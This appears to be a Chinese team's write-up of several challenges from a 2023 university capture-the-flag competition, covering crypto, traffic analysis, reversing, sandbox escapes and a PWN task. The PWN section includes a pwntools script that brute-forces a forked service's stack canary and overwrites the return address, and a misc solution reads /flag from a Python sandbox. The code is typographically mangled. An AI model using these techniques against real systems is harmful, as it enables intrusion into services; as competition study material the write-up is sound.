2023全国大学生 信息安全竞赛创新实践能力赛部分wp
战队 WRITEUP
解题过程
1. Crypto 基于国密 SM2 算法的密钥密文分发
根据要求先随机生成 SM2 密钥对 A。用生成的私钥 A,对服务器发送的 randomString进行 SM2 解密, 用解密得到的十六字节随机数对服务器发送的 privatekey 采用 SM4ECB 解密, 解密得到的明文再对服务器发送的 quantumString 采用 SM2 解密,得到明文,上传至服务 器。服务器显示结果正确,服务器 search 得到flag。
cmd 全部过程如下
flag{f047cf8d-f24f-4d6c-ac3e-faccbd061a9b}
2. Misc 签到卡
需要写 python3 命令来得到flag 文件
直接在打字机里输入 print(open(‘/flag’).read()),得到 flag
flag{745d82f7-70c7-4827 -b28c-db65693fa3c1}
3. Crypto sign_in_passwd
该题为换表 base64,flag 文件中的第二行为表:
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5 用 url 解码得到:
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
用 cyberchef 在线网站解密,按照如下填写,将表填入 alphabet,换表 base64 解密 j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D 得到 flag
flag{8e4b2888-6148-4003 -b725-3ff0d93a6ee4}
4. Misc 被加密的生产流量
用 wireshark 打开文件, 过滤 modbus ,追踪 TCP 流,如下所示
拼接客户端字符,如下:
Base32 解密,得到 flag
flag{c1f_fi1g_1000}
5. Reverse babyRE
打开网页https://snap.berkeley.edu
点击 Run Snap Now
在此网页打开题目所给的 xml 文件
在 secret 列表后添加显示变量
Secret 列表即为输入的 flag 列表前一个字符的 unicode 码与后一个字符的 unicode 码异或 得到的
显然 secret 列表第一个数为f 的 Unicode 码, 可以推出将第一个数与后一个数进行异或, 得 到的结果再与后一个数异或,这样进行下去,可以得到flag
写 python 脚本如下:
secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7 ,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
data = []
data.append(102)
data.append(102^10)
for i in range(2,len(secret)):
data.append(data[-1]^secret[i])
for i in data:
print(chr(i),end=“”)
flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}
标题6. Misc pyshell
利用下划线输出是上次计算的结果,然后用这个方法拼接 open 读 flag
flag{a3695970-195e-445a -aa39-2e06a5516967}
标题7. Web dumpit
sqldump ,env 读取
flag{6ab5a49b-3bbd-4abb-8057-a5c9b0925a6e}
- PWN funcanary
对 fork 而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然 canary 值也一样。那我们就可以逐位爆破因为canary 的值的第一个字节总是 0x00,所以 只需要爆破剩下的七个字节就可以了,每次尝试一个字节,如果程序顺利执行则不会出现 terminated\n”
根据上述构造 poc
#!/bin/python3
from pwn import *
from time import sleep
context.arch = “amd64”
io = remote(“47.94.206.10” ,18324)
padding = b"a"*104
canary = b’\x00’
for i in range(7):
for j in range(0x100):
print(j)
io.recvuntil(b"welcome\n")
io.send(padding + canary + bytes(chr(j).encode())) ret = io.recvline()
print(ret)
if b"terminated\n" in ret:
continue
else:
log.info(f"found one")
break
canary += bytes(chr(j).encode())
log.info(f"canary: {canary}“)
io.recv()
data = [”\x02", “\x12”,“\x22”, “\x32”, “\x42”, “\x52”, “\x62”, "\x72 “, “\x82”, “\x92”, “\xa2”]
for i in range(10):
io.send(padding + canary + b"a”*8 + “\x31” + data[i])
print(io.recv())
welcome
flag{2b6b52df-9b68-4b33-873c-ef45481f0ddc}